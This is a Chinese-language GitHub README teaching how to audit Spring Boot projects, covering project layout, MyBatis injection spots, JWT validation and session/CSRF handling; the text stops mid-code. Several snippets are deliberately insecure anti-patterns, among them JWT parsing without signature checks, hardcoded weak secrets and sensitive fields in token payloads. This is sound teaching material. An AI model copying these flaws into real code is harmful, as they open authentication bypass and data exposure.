ysi6701/SpringBoot-Security-Audit-Playbook

GitHub: ysi6701/SpringBoot-Security-Audit-Playbook

Spring Boot安全审计实战指南

Stars: 2 | Forks: 0

# 拿到一个 SpringBoot 项目,我会怎么做安全审计 ## 1. 背景与说明 在学习 Java / SpringBoot 代码审计的过程中,我尝试从简单到复杂,对多个开源项目进行了逐步审计练习,并整理成了一系列审计报告。如果你感兴趣,也可以在我的主页中查看相关内容。 这些项目覆盖了不同的业务复杂度与安全场景,例如: - **简单 Java Swing 桌面系统**:例如图书管理系统 - **基于 SpringBoot 的 Web 项目**:例如常见的博客系统 - **更复杂的 O2O 业务系统**:例如外卖 / 电商类项目 在这些项目中,OWASP Top 10 中的一些常见漏洞(如`A01:broken access control`;`A03:Security Misconfiguration`;`A04:Cryptographic Failures`等)往往都会出现。 但相比“知道这些漏洞”,更关键的问题是: - **如何在拿到源码后,有条理地去发现它们?** - **这些漏洞在 Java / SpringBoot 项目之中是怎样出现的?** 因此,这篇文章将围绕一个核心主题展开: 📌 本文适合: - 刚接触代码审计,不知道从哪里下手的初学者 - 具备一定开发经验,希望从安全角度重新理解项目的开发者 ⭐ 你需要的前置知识: 在阅读本文之前,不需要具备非常深入的安全或开发经验,但具备以下基础会更容易理解: - **基本的 Web 漏洞知识** 例如:XSS、CSRF、文件上传漏洞、SQL 注入(SQLi)、SSRF 等 - **基本的 Java 语法** 能够看懂类、方法、参数传递,以及简单的业务逻辑 - **基本的 SpringBoot 结构** 了解 controller / service / mapper(dao) 的基本分层 - **基础的后端安全常识** 例如:认证与授权的区别、敏感数据不应明文存储、不要信任前端输入等 - **基本的数据库访问方式(MyBatis / JDBC)** - 了解 SQL 是如何被构造和执行的 - 知道预编译(PreparedStatement)与字符串拼接的区别 📌 如果以上内容有部分不熟悉,也不影响阅读,可以在遇到具体问题时再补充学习。 👋 本文更偏“带你走一遍审计流程”,而不是对每一个漏洞进行深入讲解。 ## 2. 整体审计流程概览 🔎 现在,一个项目源码摆在我们面前,我们应该从哪里开始? ❓️ 是去找一个 XSS?一个 CSRF?还是 SQL 注入?然后想办法“打穿”它? 但问题在于:如果只是随机去找漏洞,这个过程往往依赖经验甚至运气,也很难复现和总结。 ❓️ 那么,有没有一种方式,可以让这个过程更加**稳定、可重复**? *换句话说,我们是否可以通过一套合理的流程,尽可能系统性地发现代码中不合理的设计,而不是因为路径不同而产生遗漏?* 基于我个人的一些审计实践,我通常会按照如下步骤展开分析: 1. 从项目结构入手,快速了解系统的分层结构与业务模块划分 2. 查看配置类,分析全局配置与安全基线,判断系统是否具备基本的安全防护能力 3. 梳理认证与权限机制,明确用户身份是如何建立与校验的 4. 查看数据库与数据存储方式,关注敏感数据与潜在注入风险 5. 检查工具类实现,提前识别系统中可能存在的“漏洞能力”(如文件上传、XSS、SSRF 等) 6. 重点审计 Controller 层业务逻辑,结合前面发现的问题,分析接口是否存在可利用的安全风险 📌 值得注意的是: - 在实际分析过程中,并发问题、日志记录、敏感信息泄露等,并不会单独作为一个阶段,而是会在审计具体业务接口时一并关注 - 关于第 5 步和第 6 步,不同的人可能会有不同的顺序偏好 例如: - 可以先从 Controller 入手,明确接口调用了哪些工具类,再回头分析这些工具类是否存在安全问题(更偏“审计视角”) - 也可以先分析工具类,提前掌握系统具备的“攻击能力”,再在 Controller 中寻找触发点,从而构造攻击链(更偏“攻击视角”) 我认为这两种方式都是合理的,可以根据个人习惯选择。 **⭐ 在接下来的内容中,这些步骤将被逐一展开,并结合具体示例进行说明。** 需要说明的是,本文重点在于**审计思路的梳理**,而非具体工具的使用。因此,你可以: - 通过手工方式进行代码审计 - 使用静态分析工具(如 Semgrep) - 或结合动态分析工具、甚至 AI 辅助工具 来完成整个审计过程。 ## 3. 核心审计流程 ### 3.1 从项目结构入手建立整体认知(项目入口) ——通俗来说,就是先看一眼项目的整体目录结构,弄清楚每一部分大致是做什么的,以及后续我们应该重点关注哪些位置。 那么,一个典型的 Java / SpringBoot 项目大概长什么样子?这里我通过两个初学者项目来简单说明。 #### 3.1.1 BigEvent:一个较为常见的 Java / SpringBoot 教学项目 下面是它的整体结构。 BigEvent-main # 项目根目录(前后端分离项目) │ ├── big-event-backend # 后端项目(Spring Boot) │ │ │ ├── com.itheima.bigevent # Java 主包(所有代码入口) │ │ │ │ │ ├── controller # 控制层:接收前端请求,返回响应(接口入口) │ │ ├── service # 业务层:处理业务逻辑(核心处理) │ │ ├── mapper # 数据访问层:操作数据库(MyBatis接口) │ │ ├── pojo # 实体类:封装数据(如User、Article等) │ │ │ │ │ ├── config # 配置类:Spring配置(如拦截器注册、跨域等) │ │ ├── interceptor # 拦截器:登录校验、权限控制等 │ │ ├── exception # 异常处理:统一异常返回(全局异常处理) │ │ ├── validation # 参数校验:表单/接口参数校验规则 │ │ ├── anno # 自定义注解:配合校验或权限使用 │ │ ├── utils # 工具类:通用工具(JWT、日期、加密等) │ │ │ │ │ └── BigEventApplication.java # 启动类(Spring Boot 入口) │ │ │ └── resources # ⭐ 资源目录 │ │ │ ├── application.yml # 核心配置文件(端口、数据库、JWT等) │ ├── application-dev.yml # 开发环境配置(可选) │ ├── application-prod.yml # 生产环境配置(可选) │ ├── big-event-frontend # 前端项目(Vue + Vite) │ │ │ ├── src # ⭐ 前端核心源码目录 │ │ │ │ │ ├── views # 页面组件(用户看到的页面) │ │ ├── api # 接口封装(axios请求后端) │ │ ├── router # 路由管理(页面跳转控制) │ │ ├── stores # 状态管理(Pinia/Vuex,全局数据) │ │ ├── utils # 工具函数(格式化、token处理等) │ │ ├── assets # 静态资源(图片、样式等) │ │ │ │ │ ├── App.vue # 根组件(所有页面的入口组件) │ │ └── main.js # 项目入口(创建Vue实例) │ │ │ ├── vite.config.js # ⭐ Vite配置文件(开发服务器+代理) │ │ # 👉 解决前后端跨域(最关键配置) │ │ │ ├── package.json # 项目依赖配置(npm包管理) │ ├── package-lock.json # 依赖锁定文件 │ ├── index.html # 页面入口HTML(挂载Vue) │ └── node_modules/ # npm依赖(自动生成) │ **① 分析项目结构** 从结构上可以很明显看出,这是一个基于 SpringBoot + Vue 的**前后端分离项目**。 ➡️ 看到这一点,其实就已经可以提高警惕了: 前后端分离架构中,常见的安全问题包括: - 未授权访问(接口权限控制不严) - Token 泄露或伪造 - XSS(前端渲染不当导致) - CSRF(在配置不当的情况下) 这也意味着,在后续的审计过程中,我们需要重点关注这些问题是否被妥善处理。 **② config** `/big-event-backend/com.itheima.bigevent/config` 这个包中主要存放后端的各类配置类,例如: - Web 相关配置(路径映射、拦截器等) - 安全相关配置(认证、权限、过滤器等) - 跨域(CORS)配置 - 请求处理规则等 从代码审计的角度来看,这一部分非常重要,因为它直接决定了: 👉 **哪些请求可以进入系统,以及这些请求在进入业务逻辑之前会经过哪些安全校验。** 换句话说,这一层是在“接口被调用之前”的第一道控制线: - 是否允许跨域访问 - 是否需要认证 - 是否存在拦截器进行校验 - 是否关闭了某些安全机制(如 CSRF) 因此,在审计时,可以优先通过配置类快速判断: 这里需要简单关注一下项目的安全控制方式: 是通过实现 `WebMvcConfigurer` 等方式进行自定义拦截,还是基于 Spring Security 来实现统一的安全控制。 一般来说,如果是前者,更容易因为拦截不全或逻辑分散而出现问题;如果是后者,则需要关注配置是否合理,例如是否存在不必要的放行(`permitAll`)等。 这一部分在后续会结合具体代码进行详细分析。 **③ mapper** `/big-event-backend/com.itheima.bigevent/mapper` 这一层通常用于与数据库进行直接交互。在一些项目中,也可能被进一步细分,放在 `dao` 包之下。 从审计的角度来看,这一层主要关注数据是如何被查询和拼接的。 例如: - 对于基于 MyBatis 实现的项目,需要重点关注是否存在不安全的 `${}` 使用,这往往可能导致 SQL 注入问题 - 对于使用 MyBatis-Plus 的项目,虽然底层仍通过 Mapper 层访问数据库,但部分查询条件可能在 service 层构建(如 Wrapper)。因此,在审计时需要结合业务代码一起分析 相比之下,MyBatis-Plus 出现注入风险的概率相对较低,但并非不存在。例如: - Wrapper 条件拼接不当 - 与 MyBatis 混用时(在一些大型项目之中是常见的),手写 SQL 仍然存在 `${}` 风险 - 动态条件可能带来的逻辑绕过问题 - 更需要警惕的是一些老项目中直接使用 JDBC 的情况。如果开发者安全意识不足,容易出现“伪预编译”(字符串拼接 SQL)的情况,此时需要逐条检查 SQL 语句的构造方式 **④ controller / service(接口与业务逻辑)** controller 层是系统的接口入口,而 service 层则承载具体的业务逻辑实现。两者通常需要结合起来一起分析。 从流程上看: - controller 负责接收请求、参数处理与简单校验 - service 负责具体的业务执行与数据操作 👉 因此,用户“能调用什么接口”,以及“调用后实际能做什么”,是由这两层共同决定的。 从审计的角度来看,这一部分是整个系统中最核心的分析区域,大部分漏洞都会在这里体现。 常见需要关注的问题包括: - **水平越权**(如通过修改 ID 访问他人数据,对象级访问控制失效) - **垂直越权**(普通用户调用管理员接口) - **权限校验缺失或不一致**(controller 有校验,但 service 未校验,或反之) - **过度信任前端传参** 同时,在分析时还需要结合具体业务逻辑,例如: - 操作是否基于当前登录用户,而不是前端传入的用户信息 - 是否存在批量操作、数据遍历等风险点 - 关键业务(如下单、支付、修改权限)是否存在逻辑缺陷 这一部分是整个审计过程的核心。一般会先从 controller 层的接口入手,顺着调用链进入 service 层,分析具体业务逻辑的实现,从而判断是否存在可被利用的逻辑漏洞。 **⑤ utils** 这一层在一些项目中也可能被称为 `common`,或者被放`common`包下,主要用于存放通用工具类。例如: - 文件上传工具类(如常见的小项目中封装的 OSS 上传逻辑) - HTML 过滤工具类 - JWT 相关工具类 - ThreadLocalUtil 等上下文工具 从审计角度来看,这一层往往决定了系统是否具备某些“潜在漏洞能力”。例如: - 文件上传是否缺乏校验,可能导致任意文件上传 - HTML 过滤是否不完整,可能导致 XSS - Token 处理是否存在问题,可能影响认证安全 👉 因此,这一层不一定直接暴露漏洞,但会影响漏洞“是否能够成立”。 在实际分析中,需要结合 controller 提供的接口一起看: - 这些工具类是否被用户可控的接口调用 - 是否可以通过这些实现不当的工具,构造攻击链(如提权、信息泄露等) **⑥ 后端模块其他值得关注的地方** 除了上述核心模块外,后端中还有一些容易被忽略但同样重要的部分,也需要简单关注: - `application.yml` 等配置文件 - 可能涉及数据库连接池、线程池、限流等配置 - 这些配置会直接影响系统在高并发或 DoS 场景下的可用性 - `interceptor`(拦截器) - 常用于权限控制、登录校验等 - 需要关注拦截路径是否完整、是否存在绕过或遗漏 - `pojo`(或 `entity`) - 定义了系统中存储和传输的数据结构 - 需要关注是否包含敏感信息(如密码、手机号等) - 以及在存储或返回时是否进行了加密或脱敏处理 **⑦ 前端模块** 虽然常说“后端不应信任前端”,但前端的实现同样会影响漏洞是否能够成立,因此也需要简单关注。 主要可以看以下几点: - 前端配置(如 `vite.config.js`) - 是否存在富文本渲染(如 `v-html`、`innerHTML` 等) - 是否有过滤机制(如 DOMPurify) - Token 的存储方式(如放在 Cookie 中可能带来 CSRF 风险) #### 3.1.2 Sky Take Out:一个较为常见的 Java / SpringBoot 外卖小程序教学项目 在 3.1.1 中,我们已经介绍了常见项目结构以及需要重点关注的模块。在这个项目中,整体结构并没有本质变化,但**分层更加清晰、模块拆分更加细致**。 sky-take-out-main ├── .vscode ├── demo ├── sky-common │ └── src/main/java/com/sky │ ├── constant // 常量类 │ ├── context // 上下文(如ThreadLocal等) │ ├── enumeration // 枚举类 │ ├── exception // 自定义异常 │ ├── json // JSON处理 │ ├── properties // 配置属性类 │ ├── result // 返回结果封装 │ └── utils // 工具类 │ ├── sky-pojo │ └── src/main/java/com/sky │ ├── dto // 数据传输对象(接收前端参数) │ ├── entity // 实体类(数据库表映射) │ └── vo // 视图对象(返回给前端) │ └── sky-server └── src/main/java/com/sky ├── annotation // 自定义注解 ├── aspect // AOP切面 ├── config // 配置类(Spring配置等) ├── controller // 控制层 ├── handler // 处理器(如全局异常处理) ├── interceptor // 拦截器 ├── mapper // MyBatis接口 ├── service // 业务逻辑层 ├── task // 定时任务 ├── websocket // WebSocket相关 └── SkyApplication // 启动类 主要的不同点在于: - 将通用能力单独拆分为 `sky-common` 模块 - 包含工具类、常量、上下文(ThreadLocal)、返回封装等 - ⭐ 审计时需要额外关注这些“公共能力”是否被不当使用,例如一些默认密码、通用逻辑可能会在这一层定义 - 将数据结构单独拆分为 `sky-pojo` 模块 - 明确区分 `dto`(输入)、`entity`(数据库)、`vo`(输出) - ⭐ 更方便梳理数据流向,但也需要关注数据在不同层之间传递时,是否进行了必要的校验与过滤 - 核心业务集中在 `sky-server` 模块 - 包含 controller / service / mapper 等典型结构 - 同时引入了 AOP、拦截器、WebSocket、定时任务等机制 - ⭐ 审计范围更广,不仅需要关注接口本身,还需要注意切面、任务等“非直接入口”的执行逻辑 总体来说,相比 3.1.1,这类项目: 结构更加规范的项目,往往也意味着逻辑被拆分得更加分散。在审计时,需要花费更多精力跨模块跟踪调用链进行分析,否则容易遗漏细节,从而产生误判。 ### 3.2 全局配置与安全基线(配置类) ### 3.3 认证与权限机制(登录接口 + 权限控制代码) 在分析认证与权限机制时,首先需要明确两个核心问题: - 该机制能够提供哪些安全保障? - 该机制在何种前提下才能实现这些安全保障? 反之,我们可以发现,出现漏洞的情况无非: - 对安全机制功能的误解,将其用于无法提供保护的场景; - 未正确遵循安全机制的使用条件,导致其安全保障失效。 本小节前半部分主要聚焦于认证凭证与会话实现层,即 Session、Cookie、JWT 等能够直接承载登录状态的具体机制;后半部分则主要聚焦于认证授权框架与权限模型层,即 OAuth2/OIDC、SSO、RBAC 等更偏向认证流程组织、信任边界划分与授权决策设计的内容。 #### 3.3.1 JWT 我们首先来分析JWT(JSON Web Token)的结构。JWT主要由三个部分组成,每部分使用 Base64Url 编码后以`.`分隔
.. - 头部 (header)用于描述令牌元信息,包括签名算法和令牌类型。典型示例如下: { "alg": "HS256", "typ": "JWT" } - 载荷 (payload)包含实际要传递的信息,是 JWT 的核心部分,主要包括: - 注册声明(Registered Claims):标准字段,如 - iss(Issuer)签发者 - sub(Subject)主题,通常为用户唯一标识 - aud(Audience)接收方 - exp(Expiration Time)过期时间 - nbf(Not Before)生效时间 - iat(Issued At)签发时间 - jti(JWT ID)唯一标识符 - 公共声明(Public Claims):应用可自定义字段,用于存放角色、权限、部门 ID 等信息。 - 私有声明(Private Claims):完全由应用定义的字段,用于携带业务特定信息,如用户偏好、单点登录标识等。 - 签名(signature)主要由一下公式来声明,从算法上来看,很明显,这个是为了防篡改,以及完整性的。 Signature = HMACSHA256( base64UrlEncode(Header) + "." + base64UrlEncode(Payload), secret ) 签名部分是JWT做无状态认证的关键,服务器无需保存任何会话的信息,只需要把header+payload丢进签名算法里面,然后比对和签名是否一致就行为了。 我们依据这个结构来一次回答上面的问题: - JWT能够提供哪些安全保障? - 身份认证:通过载荷中的`sub`等身份标识符来确认请求者的身份 - 数据完整性校验:篡改载荷之中的字段,会导致后面的签名校验不通过 - 权限控制:But✳这个不是天然就能够做的,需要在公共声明部分定义比如role一类的权限信息,系统才能够依赖这个做资源授权控制。 - 无状态安全管理:即上面说的仅依赖 JWT 本身即可完成认证与授权,实现安全的分布式访问。 - JWT提供安全保障的前提是什么? - ⭐ 其实,你也发现了,JWT token几乎所有的部分,都是由用户报文提供了,仅有secret(密钥)是秘密。那么很显然,JWT的安全性几乎完全依赖于secret。这要求: - secret不适用弱密钥,不硬编码,最好还需要轮换 - ⭐ 另外,很显然JWT的header和payload仅仅进行了base64编码,并没有加密,因此,绝对不要再这两个部分放隐私数据,比如密码,以及其他的不应该泄露的数据。 - ⭐ 其实,你也发现了一点,在JWT验证的过程之中,我们只看了token本身,没有看任何其他的东西。这意味着,不管是谁拿着A同学的token,系统都会认为此人是合法的A,并为之提供A的服务。所以,聪明的你发现了,JWT其实不防中间人攻击。需要在HTTPS或者其他安全通道使用。 下面也提供了一段JWT的生成代码,可以结合代码看看原理。 @Service public class JwtService { // 建议把它放到配置文件里,存 Base64 编码后的强随机密钥 @Value("${jwt.secret}") private String secret; private SecretKey getKey() { return Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret)); } public String generateToken(String username, List roles) { Instant now = Instant.now(); return Jwts.builder() .subject(username) .claim("roles", roles) .issuedAt(Date.from(now)) .expiration(Date.from(now.plus(2, ChronoUnit.HOURS))) .signWith(getKey()) .compact(); } public Claims parseToken(String token) { return Jwts.parser() .verifyWith(getKey()) .build() .parseSignedClaims(token) .getPayload(); } public boolean isValid(String token, String username) { Claims claims = parseToken(token); return username.equals(claims.getSubject()) && claims.getExpiration().after(new Date()); } } 从原理的角度出发了之后,我们在再看实际中的问题案例 ##### 第一关:只做了解码,没有验签 @Component public class JwtUtil { public String getUsername(String token) throws Exception { String[] parts = token.split("\\."); String payloadJson = new String( Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8 ); ObjectMapper mapper = new ObjectMapper(); JsonNode payload = mapper.readTree(payloadJson); return payload.get("sub").asText(); } public List getRoles(String token) throws Exception { String[] parts = token.split("\\."); String payloadJson = new String( Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8 ); ObjectMapper mapper = new ObjectMapper(); JsonNode payload = mapper.readTree(payloadJson); List roles = new ArrayList<>(); payload.get("roles").forEach(node -> roles.add(node.asText())); return roles; } } @GetMapping("/admin/users") public String adminApi(@RequestHeader("Authorization") String authHeader) throws Exception { String token = authHeader.substring(7); List roles = JwtUtil.getRoles(token); if (roles.contains("ADMIN")) { return "管理员接口数据"; } throw new ResponseStatusException(HttpStatus.FORBIDDEN); } 在这个例子里面,服务器拿到token,只对header和payload部分做了解码,拿出了里面的role,但是没有进行验签。在这种情况下,用户随意地篡改token之中地userid,role等参数,服务器都会为之提供服务。 Signature = HMACSHA256( base64UrlEncode(Header) + "." + base64UrlEncode(Payload), secret ) ##### 第二关:虽然验签了,但没有校验`exp`/`iss`/`aud` @Service public class JwtValidationService { @Value("${jwt.secret}") private String secret; private SecretKey getKey() { return Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret)); } public boolean isValid(String token) { Claims claims = Jwts.parser() .verifyWith(getKey()) .build() .parseSignedClaims(token) .getPayload(); // 只要 sub 不为空就算合法 return claims.getSubject() != null; } } 这将导致: - 过期 token 可能仍被接受; - 别的系统签发的 token 可能被误接受; - 原本签发给系统 A 的 token,可能在系统 B 被错误使用。 改进地写法是,比如你可以手动校验一下 @Service public class BetterJwtValidationService { @Value("${jwt.secret}") private String secret; @Value("${jwt.issuer}") private String expectedIssuer; @Value("${jwt.audience}") private String expectedAudience; private SecretKey getKey() { return Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret)); } public boolean isValid(String token) { Claims claims = Jwts.parser() .verifyWith(getKey()) .build() .parseSignedClaims(token) .getPayload(); Date now = new Date(); if (claims.getExpiration() == null || claims.getExpiration().before(now)) { return false; } if (!expectedIssuer.equals(claims.getIssuer())) { return false; } Object aud = claims.get("aud"); if (aud == null || !aud.toString().contains(expectedAudience)) { return false; } return claims.getSubject() != null; } } 或者像spring security之中的写法 @Configuration @EnableMethodSecurity public class SecurityConfig { @Bean SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { return http .authorizeHttpRequests(auth -> auth .requestMatchers("/public/**").permitAll() .anyRequest().authenticated() ) .oauth2ResourceServer(oauth2 -> oauth2.jwt()) .build(); } @Bean JwtDecoder jwtDecoder() { NimbusJwtDecoder decoder = (NimbusJwtDecoder) JwtDecoders.fromIssuerLocation("https://idp.example.com/issuer"); OAuth2TokenValidator withIssuer = JwtValidators.createDefaultWithIssuer( "https://idp.example.com/issuer" ); OAuth2TokenValidator audienceValidator = new JwtClaimValidator>("aud", aud -> aud != null && aud.contains("order-service")); decoder.setJwtValidator(new DelegatingOAuth2TokenValidator<>(withIssuer, audienceValidator)); return decoder; } } ##### 第三关:把敏感数据塞到payload里面去了 public String generateToken(User user) { return Jwts.builder() .subject(user.getUsername()) .claim("phone", user.getPhone()) .claim("idCard", user.getIdCard()) .claim("passwordHash", user.getPassword()) // 严重错误 .claim("salary", user.getSalary()) .issuedAt(new Date()) .expiration(Date.from(Instant.now().plus(2, ChronoUnit.HOURS))) .signWith(getKey()) .compact(); } 这个问题很显然,JWT的载荷之中时绝不应该放敏感数据的,因为这个地方本身没有加密。 HMACSHA256在这里只提供签名的作用。 ##### 第四关:不当的密钥 按照我们上面所说的,secret时JWT安全的关键。secret是JWT安全的必要不充分条件。 因此不应该: ❌ 硬编码弱密钥 private static final String SECRET = "jwt-secret"; ❌ 把普通字符串直接 getBytes() private SecretKey getKey() { return Keys.hmacShaKeyFor("mysecret123456".getBytes(StandardCharsets.UTF_8)); } ##### 第五关:超长的有效期 public String generateToken(String username, List roles) { Instant now = Instant.now(); return Jwts.builder() .subject(username) .claim("roles", roles) .issuedAt(Date.from(now)) .expiration(Date.from(now.plus(30, ChronoUnit.DAYS))) // 30天过长 .signWith(getKey()) .compact(); } 这种设计的问题在于,长期不失效的token,会增加token泄露之后被重复的风险。 假设这个时候,设计之中还没有吊销机制,那就更可怕了。我们可怜的安全人员,只能够通过改JWT相关代码逻辑,改secret来阻止攻击者了(当然这通常并不合适)。 ##### 第六关:缺乏吊销机制 这里实际上存在一个逻辑漏洞。 例如,当用户执行注销操作时,理论上应该无法继续访问系统。但由于 JWT 是无状态的,它本身并不记录用户的注销行为。这就意味着,即便用户已经注销,若手中仍持有有效的 JWT,通过签名验证和解码,该 token 仍然可以正常使用系统。换句话说,用户并没有真正完成“注销”。 因此,安全的做法是必须引入 token 吊销机制。常见实现方式是通过 Redis + 黑名单:将已注销的 token 写入黑名单,在每次请求验证之前,先检查该 token 是否在黑名单中即可。同时,需要定期清理 Redis 中已经过期的 token,以避免存储冗余。 审计时的关注点在于:用户执行 logout 后,系统是否真正吊销了 token,防止未授权访问。 ##### 第七关:错误的复用 这个问题不常见,但在开发规范不严谨的情况下容易出现: - 跨子系统复用同一 JWT 逻辑与 secret:对多个不同子系统使用同一套 JWT 签发和验证逻辑,并复用相同的 secret。 - 除非是统一认证平台,否则不推荐这种做法。否则用户持有一个子系统的 token,就可能在其他子系统中随意访问。 - 不同角色复用同一 JWT 逻辑与 secret,且缺失 role 字段 - 用户持有普通用户 token 即可访问管理员接口,这是严重安全漏洞。 - 原则上,同一套逻辑和 secret 下,必须包含 role 或权限字段;若不设置 role,则至少应使用不同 secret 区分不同权限账户。 总结来说,JWT 的安全性不仅依赖于签名算法,还取决于设计的隔离与吊销策略。缺乏这些措施,将导致 token 被错误使用或权限越权。 #### 3.3.2 Cookie / SessionId 在讨论这个问题之前,我们先区分一下Cookie和SessionID Cookie本身更像是一种机制,是浏览器帮网站保存的一小段数据。 网站返回响应时,可以让浏览器记住一些信息,之后浏览器再访问这个网站时,会把这些信息带回去。 常常被用于,比如: - 记住登录状态 - 记住语言/主题/购物车 - 做统计/追踪 可以理解为,我们交给浏览器一张小纸条,后面浏览器再次访问我们的网站时,会将这张小纸条**自动**地带回来。 SessionID,则通常指的是可以存在Cookies里面的一个值(也就是说放其他方面的值也可以)。专门用来标识“这次登录的是谁/这个会话是谁”。 即SessionID属于时Cookies里面可以装的一个内容。例如 Cookie: sessionid=abc123xyz 在具体的登录流程之中发送了什么? - 你输入用户名密码登录 - 服务器验证成功 - 服务器创建一条 session 记录 - 服务器把这个 session 的编号发给浏览器,例如: Set-Cookie: sessionid=abc123xyz; HttpOnly; Secure - 浏览器保存这个 Cookie - 以后每次请求,浏览器都会自动带上: Cookie: sessionid=abc123xyz - 服务器根据这个 sessionid 认出你是谁 以一个简单的例子看看,登录状态靠Session如何保存 ##### 示例1:不适用spring security实现 首先,我们常说的http-only和same-site的配置通常是在application.yaml之中配置的,如果配置之中没有,可能需要全局搜索一下有没有,如果还没有的话,那可能就是一个问题了。 server: servlet: session: timeout: 30m cookie: name: JSESSIONID http-only: true secure: true same-site: lax 然后看WebConfig,在这个故事里面,WebConfig负责干的事情就是注册拦截器。 而这个拦截器为我们做两件事: - 需要登录的接口,检查 Session - 对会修改状态的请求,检查 CSRF Token @Configuration public class WebConfig implements WebMvcConfigurer { public static final String SESSION_USER_ID = "LOGIN_USER_ID"; public static final String SESSION_USERNAME = "LOGIN_USERNAME"; public static final String SESSION_ROLE = "LOGIN_ROLE"; public static final String SESSION_CSRF_TOKEN = "CSRF_TOKEN"; @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new AuthInterceptor()) .addPathPatterns("/api/**") .excludePathPatterns( "/api/auth/login", "/api/auth/logout" // logout 可按需要决定是否也校验 csrf ); } static class AuthInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { HttpSession session = request.getSession(false); if (session == null || session.getAttribute(SESSION_USER_ID) == null) { writeJson(response, 401, "{\"error\":\"UNAUTHORIZED\"}"); return false; } if (requiresCsrfCheck(request)) { String tokenInSession = (String) session.getAttribute(SESSION_CSRF_TOKEN); String tokenInHeader = request.getHeader("X-CSRF-Token"); if (tokenInSession == null || !tokenInSession.equals(tokenInHeader)) { writeJson(response, 403, "{\"error\":\"CSRF_TOKEN_INVALID\"}"); return false; } } return true; } private boolean requiresCsrfCheck(HttpServletRequest request) { String method = request.getMethod(); return HttpMethod.POST.matches(method) || HttpMethod.PUT.matches(method) || HttpMethod.PATCH.matches(method) || HttpMethod.DELETE.matches(method); } private void writeJson(HttpServletResponse response, int status, String body) throws Exception { response.setStatus(status); response.setContentType("application/json;charset=UTF-8"); response.getWriter().write(body); } } } AuthController,这个类里直接写一个仿真的用户登录逻辑,里面有用户的登录和登出逻辑 @PostMapping("/login") public Result login(HttpServletRequest request) { // 1. 登录校验 User user = authService.login(username, password); // 2. 防 Session Fixation request.changeSessionId(); // 3. 获取 Session HttpSession session = request.getSession(); // 4. Session 只存用户ID session.setAttribute(WebConfig.SESSION_USER_ID, user.getId()); return Result.success(); } **关键点一**:登录成功后立即更换 SessionID,防 Session Fixation 嗯,什么是Session Fixation?有什么问题吗?再登陆后不改变SessionID的情况下,代码的逻辑就是,用户带着自己的游客SessionID登入,然后服务器不新生成SessionID,只是把这个SessionID从标记为游客改为标记成登录后的用户。 这意味着,如果我们的攻击者,事先拥有了一个SessionID,并以恶意URL,XSS,提前写Cookies等方式,塞给了用户,于是此时用户浏览器的Cookies就变成了攻击者提供的SessionID。 后面,用户进行了登录,将这个原本是有游客状态的SessionID变成了合法用户的。此时持有该SessionID的攻击,也能够用该用户的身份登录网站了。 而如果用户在登录之后,再产生一个新的SessionID,就可以避免这种SessionID被固定的风险。 **关键点二**:SessionID里面尽量放轻量级的,可信的,不敏感的东西。 通常操作是,只放一个用户ID。 session.setAttribute(WebConfig.SESSION_USER_ID, DEMO_USER_ID); session.setAttribute(WebConfig.SESSION_USERNAME, DEMO_USERNAME); session.setAttribute(WebConfig.SESSION_ROLE, DEMO_ROLE); 像这个例子里面,放一堆东西,甚至放ROLE,就是一个反面教材。 一方面增大了开销,另一方面造成了一个后续的风险,比如后端如果信任sessionID里面的role,而不是去数据库里面查role。 也就是说,涉及到身份和权限的内容,代码逻辑里面绝对不可以直接信任sessionID。 **关键点三**:注销时一定要invalidate() HttpSession session = request.getSession(false); if (session != null) { session.invalidate(); } 一些新手开发者写的登出操作,只是return了一个登出页面。而没有注销sessionID或者JWT之类的。这样就会出现,逻辑上好像登出了,实际上再打开这个页面还是可以用,并没有实现真正意义上的注销。 **关键点四**:要注意CSRF防护 虽说我们上面似乎已经启动了所有的防护(same-site,http-only,secure),这看起来好像安全了,但是不完全够。特别时自己写sessionid逻辑的时候,兼容旧浏览器,SameSite=None(允许跨站 Cookie),存在跨站场景(如 SSO、第三方跳转),某些接口设计不规范(例如 GET 请求存在副作用),仍然需要 CSRF 防护。 还需要加上`csrfToken`,即: - 登录后在 Session 中生成一个随机 csrfToken,返回给前端 - 前端以后在请求头里带 X-CSRF-Token - 服务端比对请求头和 Session 中的值 PS:原理是,Cookies会由浏览器自动发送,但是`csrfToken`在前端页面上,不会被第三方网站自动构造。 ✳因此总而言之是,其实不建议自己写sesssionID这一套登录逻辑,最好还是用spring security或Spring Session现有的逻辑,假设这是一个springboot项目的话。 ##### 示例2:Spring Security下的实现 首先application.yaml之中配置的同时需要注意的,不用忘记配置防护。 server: servlet: session: timeout: 30m cookie: name: JSESSIONID http-only: true secure: true same-site: lax 下面给出两种写法: **写法一** @Configuration @EnableWebSecurity public class SecurityConfig { @Bean SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { http // 1. 访问控制 .authorizeHttpRequests(auth -> auth .requestMatchers("/login", "/error", "/static/**").permitAll() .requestMatchers("/admin/**").hasRole("ADMIN") .anyRequest().authenticated() ) // 2. 表单登录 .formLogin(form -> form .loginPage("/login") .loginProcessingUrl("/login") .successHandler((request, response, authentication) -> { // 登录成功后的逻辑 // 例如返回 JSON 或跳转首页 response.sendRedirect("/home"); }) .failureHandler((request, response, exception) -> { // 登录失败后的逻辑 response.sendRedirect("/login?error"); }) .permitAll() ) // 3. 注销 .logout(logout -> logout .logoutUrl("/logout") .logoutSuccessUrl("/login?logout") .invalidateHttpSession(true) .deleteCookies("JSESSIONID") ) // 4. CSRF .csrf(csrf -> csrf // 服务端渲染页面可以用默认方案 // 前后端分离但仍然用 Session/Cookie 时,常改成 CookieCsrfTokenRepository .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) ) // 5. Session 管理 .sessionManagement(session -> session // 只有需要时才创建 Session,常见默认选择 .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED) // 防 Session Fixation:登录后迁移 Session .sessionFixation(fixation -> fixation.migrateSession()) // 同一账号最多一个会话;按需调整 .maximumSessions(1) .maxSessionsPreventsLogin(false) ); return http.build(); } @Bean PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } @Bean UserDetailsService userDetailsService() { return username -> { // 